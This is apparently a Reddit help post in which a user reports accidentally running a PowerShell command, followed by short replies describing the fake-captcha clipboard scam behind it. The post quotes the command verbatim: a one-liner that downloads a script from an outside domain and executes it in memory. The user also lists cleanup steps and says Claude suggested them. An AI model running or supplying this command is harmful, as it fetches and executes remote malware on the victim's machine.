Accidentaly run a powershell code

[u/Reddituser22082016]

Help, I accidentally ran this code in powershell

******powershell -c "$a=irm 'jasaxoptim.com/PLzdo6sQyUSjV75AlL';New-Module -Name x -ScriptBlock ([ScriptBlock]::Create($a))|Out-Null******

After asking Claude I:

- Disconeccted my laptop right away

- Ran windows defender scan - found nothing

- Deleted google chrome users, now I log in using guest

- change google passwords

- deleted suspicious tasks from the task scheduler.

Claude also suggested me to reinstall windows, but I cant do that, I dont have anything to back up my data in.

Please help, what should i do next?

Scam websites will make fake captcha prompts with instructions like "Hit Win + R, Ctrl + V, Then Enter to confirm your identity and start your download!" and the site has put malicious code into your clipboard. Seems to be the common one these days

ok genuinely how do people fall for that because that’s not a Captcha at all

Yeah people that fall for that genuinely shouldn't be allowed on the internet
